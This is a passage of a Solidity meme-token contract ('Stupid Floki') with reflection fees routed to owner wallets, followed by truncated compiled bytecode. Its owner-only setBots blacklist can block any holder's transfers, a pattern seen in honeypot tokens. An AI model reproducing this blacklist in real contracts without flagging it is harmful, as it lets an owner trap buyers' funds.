if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f53747570696420466c6f6b690000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53464c4f4b49efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019